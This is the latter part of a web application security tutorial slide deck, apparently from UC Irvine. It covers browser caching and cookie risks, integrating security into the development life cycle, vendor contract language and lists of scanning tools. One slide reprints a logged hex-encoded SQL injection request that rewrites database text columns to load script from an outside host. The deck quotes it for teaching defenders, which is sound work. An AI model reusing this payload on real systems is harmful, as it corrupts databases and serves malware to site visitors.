    Require a valid “request id” Use POST Only defends against one type of attack Preventing Direct Execution of the response. Insert code that nullifies the overridden method “the legitimate client application can take advantage of the fact that it is allowed to modify the data it receives before executing it, while a malicious application can only execute it using a <script> tag.” Wrap the objects in /* [{stuff}]*/: intercepted values are not interpreted Remove the nullifying code Use parseJSON instead of eval
  87. “Reverse” JavaScript Hijacking and Mashups • In mashups, many AJAX

    responses will contain a function reference at the end of a response to promote interoperability • The user visits a friendly website and gets XSS’d – The malicious code overrides the returned method – Code is executed in the context of the friendly page • “An application can be mashup-friendly or it can be secure, but it cannot be both.”
  88. Browser Page Cache • Pages with sensitive data should not

    be cached: page content is easily accessed using browser’s history • Use the following tags to disable page caching: <META HTTP-EQUIV="Pragma" CONTENT="no-cache"> <META HTTP-EQUIV="Cache-Control" CONTENT=“no-store, no-cache"> <META HTTP-EQUIV="Expires" CONTENT="-1"> • Be aware of differences between browsers! – Do-not-cache tags may not apply to binary content and may differ between platforms and browsers • Many documents are stored in temporary files on desktop after viewing – such as Excel files
  89. Browser History • Sensitive data should not be included as

    a parameter in the URL of any Web pages – http://www.uci.edu/getdata.jsp? ssn=333224444&ucinetid=johnsmith&password=blah • Stored and viewable in client browser’s history • Stored in Web server access logs • Use HTTP POST (not GET) requests to pass parameters to your application
  90. Browser Cookies • Sensitive data should not be stored in

    cookies – Cookies are stored on client browser, can be viewed by user/hacker, and possibly sent unencrypted • Firefox plugin: • Use non-persistent cookies (that disappear once a browser is closed) instead of persistent ones.
  91. Agenda Essentials of a Comprehensive Web Security Program Security Frameworks

    – ISO, NIST, PCI… OWASP’s Top 10 list Additional Vulnerability Topics Integrating Security into the SDLC Procurement Practices Tools
  92. NIST: Security Considerations in the Information System Development Life Cycle

    S D L C | S e c ur it y C o n si d -Appropriateness of disposal -Exchange and sale -Internal organization screening -Transfer and donation -Contract closeout ______________ _ -Information Preservation -Media Sanitization -Hardware and Software Disposal -Performance measurement -Contract modifications -Operations Maintenance ________________ -Configuration Management and Control –Continuous monitoring -Installation -Inspection -Acceptance testing -Initial user training -Documentation ___________________ _ -Inspection and Acceptance -System Integration -Security Certification -Security Accreditation -Functional Need Doc. -Market Research -Feasibility Study -Requirements Analysis -Alternatives Analysis -Cost-Benefit Analysis -Risk Management -Acquisition Planning __________________ -Risk Assessment -Security Functional Requirements Analysis -Security Assurance Requirements Analysis -Cost considerations -Security Planning -Security Control Development - Security Test and Evaluation -Linkage of Need to Mission and Performance Objectives -Assessment of Alternatives to Capital Assets -Preparing for investment and budgeting ________________ -Security Categorization -Preliminary Risk Assessment Disposition Operations/ Maintenance Implementation Acquisition/ Development Initiation http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800- 64.pdf
  93. Remember - Essentials of a Comprehensive Web Security Program –

    Principles?* Risk Based – Principle 8. Implement tailored system security measures to meet organizational security goals – Principle 11. Protect against all likely classes of “attacks.” * NIST Special Publication 800-27 Rev A - Engineering Principles for Information Technology Security (A Baseline for Achieving Security), Revision A ( http://csrc.nist.gov/publications/nistpubs/800-27A/SP800-27-RevA.pdf)
  94. 8 Steps to Integrating Security into your SDLC NIST and

    ISO are complex and expensive to implement. NIST recommendation is to adopt and modify as necessary. 1. Create and document a formal program 2. Train 3. Requirements 4. Architecture and Design 5. Implementation 6. Deployment 7. Operations / Maintenance 8. Decommissioning
  95. Integrating Security into SDLC Step 1: Secure application deployment program

    • Document the standards, practices and policy for development or acquisition and maintenance of any system. – Use NIST, ISO 27001:2005, PCI, or any other security standards. • Delineate roles and responsibilities • Outline a methodology for project planning and management - include template for analysis of data privacy and retention. - outline how confidential data should be collected, categorized, inventoried, stored, shared, and managed across time. - describe how any applications that "touch" this data should be implemented. Cover auditing , encryption requirements and the standard set of approved technologies (Reference Architecture) - document and follow a formal change management process
  96. Integrating Security into SDLC Step 2: Training If users are

    not educated on security concerns, regulations, and laws, any system will fail. – Email will be unintentionally used to transmit regulated or confidential information – Private data will be entered into a text field Train Project Leaders, Programmers and Business units on data security and policy. Don’t assume technical staff and vendors are aware of all security issues. – Assign appropriately trained staff, mentors/reviewers
  97. Integrating Security into SDLC Step 3: Requirements Identify security requirements

    at requirements gathering phase in product acquisition or development Examples of questions to ask and put into template Any personal or confidential data? Compliance requirements – PCI, SB1386, FERPA, HIPAA? If 24/7 uptime is required with clustering and load balancing, think about logging requirements… do logs need to be centralized? easily audited for forensics analysis? Retention period? Tamper-proof? Risk assessment – normal or high risk application? Per requirements, configure systems and applications, from day one, with the most secure configuration your business functionality allows
  98. Our Requirements Template 1.1 User Classes and Characteristics <Identify the

    various user classes that you anticipate will use this product (i.e. users doing updating vs. users with browse access only). User classes may be differentiated based on frequency of use, subset of product functions used, technical expertise, security or privilege levels, educational level, or experience...> 2.5 Design and Implementation Constraints <Describe any items or issues that will limit the options available to the developers. These might include: …corporate or regulatory policies; …interfaces to other applications; specific technologies, tools, and databases to be used; …communications protocols; security considerations.> 3.4 Communications Interfaces <Describe the requirements associated with any communications functions required by this product, including e-mail, web browser, network server communications protocols, electronic forms, and so on. Identify any communication standards that will be used, such as FTP or HTTP. Specify any communication security or encryption issues, data transfer rates, and synchronization mechanisms.> 5.3 Security Requirements <Specify any privacy issues surrounding use of the product or protection of the data used or created by the product. Define any user identity authentication requirements. Refer to any external policies or regulations containing security issues that affect the product. Define any security or privacy certifications that must be satisfied.>
  99. Requirements Document Format • Design and format your Requirements Documents

    to facilitate testing. • Example: – System Feature 1.1.a – Session times out after 15 minutes of idle time. – System Feature 1.1.b – Upon session timeout, data erased from memory and temporary tables.
  100. Integrating Security into SDLC Step 4: Architecture and Design Dedicate

    a Security role in your organization Centralize security policy, security reviews, security component development, maintenance operation and oversight functions with qualified staff Security Architecture must address layers of protection, including database, network, operating system, and application layer be flexible to support integration of new technologies provide a modular approach to authentication and authorization assign security levels consistently; at the lowest access level required by the individual; strictest security Identify vulnerable points; design and reuse common and tested components Consolidate storage of sensitive data – important!
  101. Communication between distributed components • Document how the data is

    used by each component –where it goes • Transmissions/exchanges of private information must be encrypted using protocols like: – HTTPS – SFTP – SSH – STunnel – VPN • Document how an application or component authenticates to another service - passwords, PKI certificates, secrets, IP restricted?
  102. Security Architecture – Multi-layer User Identity Management Authentication Education Network/Web

    Account Admin Firewalls, Encryption Logging/Auditing Application Authorization Logging/Audit Test Tools Data Authorization Logging/Audit Encryption,Inventory Operations Backups (incl off-site) Logging/Audit Disaster Recovery Policies, Standards, Procedures, Technical Reference Architecture Approved Tools and Lifecycle Exceptions by Approval Regularly reviewed
  103. Application Logging Design • Prepare for that Forensics Audit. Design

    applications for it. • Train developers on application logging standards and tools • Define appropriate logging levels (WARN, INFO, DEBUG, FATAL, INTRUDER_ALERT…) • Store and archive logs in a central and secure location such that only administrators can view and no one can alter them • Examples: – Web access logs that include time, IP, URL – Authentication/authorization logs that include time, IP, user, auth result – Database audit logs of access to sensitive data including time, user, SQL statement/object – Logs of critical application-specific activity
  104. Integrating Security into SDLC Step 5: Implementation / Acquisition Make

    security “routine” Schedule web/network & configuration vulnerability scanning on any new server – even for development Require reviews of all security and database code from line 1 Automate nightly static and dynamic code scanning tools Require developers to build unit test harnesses – discipline! Require developers to reuse tested security components Single-signon, authorization API, user identity objects, logging API Schedule regular web application penetration testing day 1 De-identify or falsify confidential test data Write and use manual security test procedures Perform concurrency, load, and stress testing Detect design flaws early – more expensive to fix later
  105. Code Review – a Process • Manual Code Review should

    at least focus on http://www.owasp.org/index.php/Code_Review_Processes : – Authorization – Access Control – Input Validation – Error Handling – Session Management – Form Keys or Frequent Session Rotation (for CSRF defense) – Proper Application Logging – Database access and updates, data encryption • Use Automated Tools – pay attention to false negatives and false positives. Not replacement for manual code reviews. • Metrics http://www.owasp.org/index.php/Code_review_Metrics – defect density, lines of code, function points – Cyclomatic complexity counts decision points (if/else/switch/case) • 0 - 10: Stable code. Acceptable complexity • 11 - 15: Medium Risk. More complex • 16 - 20: High Risk code. Too many decisions for a unit of code. Needs re-design and re-write.
  106. Storing sensitive data • De-identify or store parts of confidential

    data – try last 4 digits of SSN + date of birth for identity • Encrypt table records and/or files that contain: – password, SSN, home phone/address, credit card, bank account, Driver's License, non-public student or employee data, or FERPA blocked student data • Encrypt storage at database/file and application layer – Database encryption is not enough! Protects from lost/stolen disk or backup, not from SQL-Injection hack attack – Multi-layer encryption protection - User account breach won’t allow decryption – Confirm your database encrypts transaction logs if the database is encrypted!
  107. Data Modelling for Security When designing database tables… – Do

    not use confidential data elements as keys in tables (e.g. SSN). Primary key can’t change. • Using it as a foreign key copies that confidential data all over the database! – Normalize to consolidate confidential data into a single table • Audit ONE table / ONE column, not many • Encrypt ONE table / ONE column, not many • Mock intruder alert drills and prepare! • Review logs for forensics capability
  108. Integrating Security into SDLC Step 6: Deployment Create secured development,

    test & production environments Required for Payment Credit Card Industry DSS compliance Cross train Help Desk, Sys Admin, support staff “Market” Application security risks and policy Consider policy to disallow confidential data on laptops or other portable devices Think about how printers will be used. Cut & Paste? Professionally administered system and data backups? backups identify compromised individuals Off-site backups? Where? At home? Disaster recovery plans? Security / Production Release Checkoff? SDLC Approvals?
  109. Integrating Security into SDLC Step 7: Operations/Maintenance Catalogue and inventory

    use of personal data Continue “routine” security reviews, access audits, password changes Review / monitor logs – we do this on a daily basis Continue vulnerability scanning Apply timely security patches at all architectural layers – OS, Firewall, Database, Platform Change control – Weekly meeting for all developers and administrators – 2 week notice and test plan required of all turnovers/change – Coordinate and schedule changes in network, database, applications, OS, firewalls and configurations. Reduce collisions. – Use a campus Calendar to publish schedule. – Changes recorded in Issue Tracking system or ServiceDesk – Fewer “emergency” changes means fewer security vulnerabilities
  110. Integrating Security into SDLC Step 8: Decommissioning • Data –

    Retention/preservation compliance? • Properly dispose hardware and software – Does data retention period collide with a software end-of-life? Clipper/DOS 6.2? – Can OS and hardware run application today if necessary to restore data? Is data warehousing required? – Sanitize media professionally – degauss, shred. Deal with backups • Update catalogue of personal data again!
  111. Agenda Essentials of a Comprehensive Web Security Program Security Frameworks

    – ISO, NIST, PCI… OWASP’s Top 10 list Additional Vulnerability Topics Integrating Security into the SDLC Procurement Practices Tools
  112. UC Irvine’s Incident • United Health Care – organized ring

    of internal staff was responsible for stealing SSNs of UC Irvine Graduate Students. The thieves then used the student SSNs to file tax returns.
  113. Procurement Practices • ISO/IEC 27002:2005, Reference 6.2.3 – Addressing Security

    in Third Party Agreements • NIST SP. Pub. 800-53, Rev. 2; Section 2.4 – Security Control in External Environments • NIST CSPP - Guidance for COTS Security Protection Profiles – http://csrc.nist.gov/publications/nistir/ir6462.pdf • PCI – Requirement A.1 – Hosted Providers Protect Cardholder Data Environment – https://www.pcisecuritystandards.org/docs/saq_d_v1-1.doc
  114. Contract language should cover • Glossary / Definitions: What is

    “Confidential Data”? • Use of data • Data Sharing • Data Protection Expectations • Data Transmission / Encryption • Data Protection after Contract Termination • Notification of Security Incidents • Security Incident Investigation • Security Audits/Scans (Independent Verification) • Indemnification as a Result of Security Breach • References to Third Party Compliance with University Policies, Standards, Guidelines, And Procedures • References To Third Party Compliance With Applicable Federal, State • Local Laws/Regulatory Requirements. » Reference: ISO/IEC 27002:2005, Reference 6.2.3(a); (r) » Reference: NIST Sp. Pub. 800-53, Rev. 2; Control SA-9
  115. Educause Security Task Force: Contract Language Toolkit – Draft •

    Vendor agrees to have an independent third party (e.g. Cap Gemini Ernst & Young, Deloitte & Touché, or other industry recognized firms) security audit performed at least once a year. – The audit results and vendor’s plan for addressing or resolving of the audit results shall be shared with the University within XX (X) days of the Vendor’s receipt of the audit results. The audit should minimally check for buffer overflows, open ports, unnecessary services, lack of user input filtering, cross site scripting vulnerabilities, SQL injection vulnerabilities, and any other well-known (published on bugtraq or similar mailing list) vulnerabilities. • The University reserves the right to request the results of a formal penetration test. – A penetration test is here defined as "the process of using approved, qualified personnel to conduct real-world attacks against a system so as to identify and correct security weaknesses before they are discovered and exploited by others.“ See http://www.ffiec.gov/ffiecinfobase/booklets/e_banking/ebanking
  116. ASP Vendor Security Checklist § What certification or audits does

    the University have that the system will be managed per our guidelines and contract agreement? § How often is the system patched, by whom and when? § How are we notified if system security is breached? Notification handling? § How is data purged from the vendor's hardware? § How are disks, tapes, or computers that might store sensitive data disposed of? Are the media erased before disposal or reuse? § Where is the hardware location? Is it inside or outside of the United States? Is it subject to our laws? § Are the personnel who administer and use the hardware located within the United States and subject to our laws? § Is data encrypted? § If private data is transmitted, either via Internet, on CD-ROM or file transfer, is it encrypted? § Is SSL enabled to the application so that traffic over the Internet, including authentication is secure and private? § Data loss, data backups: what are the guarantees? Are backups stored offsite? If backups have sensitive data, are the backups encrypted? Can we store the backup at UCI? How about disaster recovery planning? § How is the hardware or database distributed by the vendor among customers? Is one hardware used for all customers? Is a single database used for all customers or does each customer have a private database? § How are user accounts managed? § How do you manage the system for detection of intrusion.
  117. Agenda Essentials of a Comprehensive Web Security Program Security Frameworks

    – ISO, NIST, PCI… OWASP’s Top 10 list Additional Vulnerability Topics Integrating Security into the SDLC Procurement Practices Tools
  118. Good Tool Listings • OWASP – http://www.owasp.org/index.php/Phoenix/Tools • NIST –

    https://samate.nist.gov/index.php/Tools – https://samate.nist.gov/index.php/Web_Application_Vulnerability _Scanners • Insecure.org – http://sectools.org/
  119. Development / Debug / QA Tools Unit Testing – JUnit

    * for Java Whitebox Testing (Eclipse*) Nightly Automated Code Scanning – static and dynamic JTest – dynamic and static code analysis OWASP’s Code Crawler * Load/Stress Testing JMeter * - test 1000s virtual user load Issue Tracking – JIRA* Code versioning – CVS*, Subversion* Firefox Extensions for Web Application debugging Firebug*, Web Developers Toolbar* Tools for analyzing, intercepting and modifying HTTP data between web server and client, cookies and form fields OWASP’s WebScarab* , Tamper Data*, Add N Edit Cookies* *Free
  120. Open Source Reusable Security Components (a few) OWASP CSRFGuard Project

    Code Snippet Internet2 Shibboleth – Web Single SignOn (SSO) across or within organizational boundaries. Grouper - consolidates delegated manual management of groups and membership. Signet – authorization system JA-SIG Central Authentication Service (CAS) - an enterprise Web single sign on service.
  121. Web Application Vulnerability Scanning Tools – Open Source / Free

    • Nikto - an open source (GPL) web server scanner testing web servers for multiple vulnerabilities, including over 3200 potentially dangerous files/CGIs. • Paros proxy - A Java based web proxy. Supports editing/viewing HTTP/HTTPS messages to change cookies and form fields. Includes a web traffic recorder, web spider, hash calculator, and a scanner for testing common web application attacks such as SQL injection and cross-site scripting. • Grendel Scan – Java based • Pantera Web Assessment Project – Python based • Spike Proxy – Python based • Wapati - Database Injection (PHP/JSP/ASP ), LDAP Injection • BurpSuite
  122. Web Application Vulnerability Scanning Tools – Commercial • Acunetix Web

    Vulnerability Scanner - checks web applications for vulnerabilities such as SQL Injection, cross site scripting, and weak password strength on authentication pages. • HP WebInspect - checks that a Web server is configured properly, and attempts common web attacks such as parameter injection, cross-site scripting, directory traversal. • NTObjectives NTOSpider • Cenzic's Hailstorm • N-Stalker - has a free edition tool based on N-Stealth • Parasoft's WebKing – has a lot of functionality • MileSCAN – has many types of scanners • IBM Software - Rational AppScan – provides remediation capabilities; task lists necessary to fix vulnerabilities
  123. Watchfire Appscan • Licensed by UC Irvine to scan campus

    applications • Scans web applications faster and more thoroughly than only manual testing
  124. System Administrator Tools • VPN with virus / rootkit /

    key logger scanning • Two factor authentication - (we use RSA SecurID ) • Intrusion Detection Systems – TripWire – OSSEC* • Log Analysis and Management – Splunk * – Syslog-ng* • Unix Security Checklist - http://www.cert.org/tech_tips/usc20_full.html • Microsoft Checklist: – Securing Your Web Server - http://msdn.microsoft.com/en- us/library/aa302351.aspx – Securing Your Database Server - http://msdn.microsoft.com/en-us/library/aa302337.aspx
  125. Database Scanning and Hardening Tools Microsoft Baseline Security Analyzer (MBSA)*

    Imperva's Scuba*- a multi-platform free Java utility that scans Oracle, DB2, MS-SQL, and Sybase databases for vulnerabilities and configuration flaws. Creates remediation reports with detailed test descriptions. Example report from our Credit Card Processing SQL Server: (high) xp_cmdshell not removed: this procedure allows issuing operating system commands directly to the command shell GRANT given on registry stored procedure: Permissions are granted on stored procedures that allow reading and writing sensitive data from Windows registry Web Application Security is ALL ABOUT THE LAYERS! *Free
  126. Network Vulnerability Scanning Tools • Wikto - Web Server Assessment

    Tool for MS .NET • Nessus – not “free” anymore. Plugins for network, OS/system, Web server, Firewall, and database vulnerabilities and bugs. • Retina - multi-platform vulnerability management, identifies known and zero day vulnerabilities and risk assessment • Core Security Technologies – network and application testing • IBM - Internet Scanner – network vulnerability scanner • Sara : Security Auditor’s Research Assistant; old SATAN tool • Foundstone – many testing tools, some free - SiteDigger • MS Baseline Security Analyzer* – scans servers specific to Microsoft security recommendations; offers remediation guidance • SAINT – general vulnerability scanner
  127. Web Application Firewalls • XSS, Injection Protection and beyond… –

    Apache Web Application Firewall mod_security * - http://www.modsecurity.org/ – IIS • URLScan / IISLockDown * • Aqtronix WebKnight*: http://www.aqtronix.com/?PageID=99 • Hardware Appliance vs Software solutions – Hardware: Fast and Expensive • Vendors: Citrix, Imperva, many more – Software: Cheap(er) and Slow(er) • An Application Firewall is NOT a substitute for properly coding applications to protect themselves and the data they touch!
  128. Remember our Puzzle? "GET /programs/biosafety/bioSafety_handBook/Chapter%206- Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CH AR(4000);SET%20@S=CAST(0x4445434C4152452040542076617263686172 28323535292C40432076617263686172283430303029204445434C41524520 5461626C655F437572736F7220435552534F5220464F522073656C65637420 612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320

    612C737973636F6C756D6E73206220776865726520612E69643D622E69642 0616E6420612E78747970653D27752720616E642028622E78747970653D39 39206F7220622E78747970653D3335206F7220622E78747970653D3233312 06F7220622E78747970653D31363729204F50454E205461626C655F437572 736F72204645544348204E4558542046524F4D20205461626C655F43757273 6F7220494E544F2040542C4043205748494C4528404046455443485F535441 5455533D302920424547494E20657865632827757064617465205B272B4054 2B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E 3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646 F2E313030306D672E636E2F63737273732F772E6A73223E3C2F736372697 0743E3C212D2D2727207768!6!5726520272B40432B27206E6F74206C696B 6520272725223E3C2F7469746C653E3C736372697074207372633D2268747 4703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223 E3C2F7363726970743E3C212D2D272727294645544348204E455854204652 4F4D20205461626C655F437572736F7220494E544F2040542C404320454E4
  129. Agenda Essentials of a Comprehensive Web Security Program Security Frameworks

    – ISO, NIST, PCI… OWASP’s Top 10 list Additional Vulnerability Topics Integrating Security into the SDLC Procurement Practices Tools
  130. Glossaries – which is best? • NIST Glossary (87 pages!)

    http://csrc.nist.gov/publications/nistir/NISTIR- 7298_Glossary_Key_Infor_Security_Terms.pdf • OWASP Glossary (35 pages) http://www.owasp.org/index.php/Category:Glossary • ISO Glossary (18 pages) http://www.iso27001security.com/ISO27k_glossary_2008 _02_06.htm • PCI Glossary (11 pages) https://www.pcisecuritystandards.org/pdfs/pci_dss_gloss ary_v1-1.pdf
  131. Resources • Open Web Application Security Project (OWASP) - http://www.owasp.org/index.php/Category:OWASP_Project

    • Educause - http://www.educause.edu/SecurityTaskForce/Resources/1225 – Effective Practices - https://wiki.internet2.edu/confluence/display/secguide/Home – UC Irvine Effective Practices - https://wiki.internet2.edu/confluence/display/secguide/Applications+and+System+Development • National Institute of Standards and Technology (NIST) Computer Security Division - http://csrc.nist.gov/ • NIST: Security Considerations in the Information System Development Life Cycle http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf • National Institute of Standards and Technology (NIST) National Vulnerability Database Checklist Site - http://checklists.nist.gov/ • ISO/IEC 27001:2005 “Information Security Requirements” – http://www.iso.org/iso/catalogue_detail?csnumber=42103 • ISO/IEC 27001:2005 “Specification for an Information Security Management System” – http://www.iso27001security.com/html/27001.html • ISO/IEC 27001 & 27002 “Implementation Guidance and Metrics” – http://www.iso27001security.com/ISO27k_implementation_guidance_1v1.pdf • ISO Glossary of Terms http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm • PCI-DSS - https://www.pcisecuritystandards.org/ • Cenzig Imperative Web Application Assessment Plan http://www.cenzic.com/pdfs/CenzicWpImpAsPln.pdf • US Computer Emergency Readiness Team (US-CERT)- http://www.us-cert.gov/ • SANS - http://www.sans.org/ and SANS Programmer Certification: http://www.sans.org/gssp/ • Secunia - http://secunia.com/
  132. What we learned today! • Primary Attach Vectors, Hacking Techniques

    and Exploits, Defensive programming / Solutions OWASP’s Top 10 list / WebGoat Learning Environment Dealing with Web Browser cookies, auto-complete, and caches Database reader/writer accounts – DB injection/Web Application Design best practices, running with least privileged account Session management to avoid hijacking and middleman attacks What are the essentials of a comprehensive web security program? Effective practices? Embedding security into your Software Development Life Cycle - For Managers, For Developers/QA , For System and Database Administrators Education and Training Security Architecture, Firewalls Secure Web Application Architecture and Infrastructure, Secure AJAX and Web Services? Authentication, Authorization and Access Control Logging, OSSEC, Splunk Encryption, Cryptography Securing/Patching OS Securing Databases Securing Web Servers – Apache’s mod_security module, Coldfusion, IIS Reviews, Checklists, Audits and Self Assessments Security Frameworks - ISO, NIST , PCI, Cobit - which one? Integrating Security into the SDLC Procurement Practices - Dealing with Vendor or hosted applications, Contract Language Tools - Scanning, Penetration Testing, DB/OS Hardening and beyond
  133. Printed Materials • This presentation – http://apps.adcom.uci.edu/EnterpriseArch/PresentationsConferences/Confere nces/EducauseAnnualWebAppSecTutorial_V3.ppt • PCI

    Glossary (11 pages) https://www.pcisecuritystandards.org/pdfs/pci_dss_glossary_v1-1.pdf • PCI-DSS Questionnaire D and Attestation of Compliance – https://www.pcisecuritystandards.org/docs/saq_d_v1-1.doc • UC Irvine’s Administrative Computing Services SDLC – Portal Page http://snap.uci.edu/viewXmlFile.jsp?resourceID=1433 – Code Review Checklist http://snap.uci.edu/viewXmlFile.jsp? resourceID=1529 – SDLC Approvals http://apps.adcom.uci.edu/expresso/econtent/Content.do? resource=2044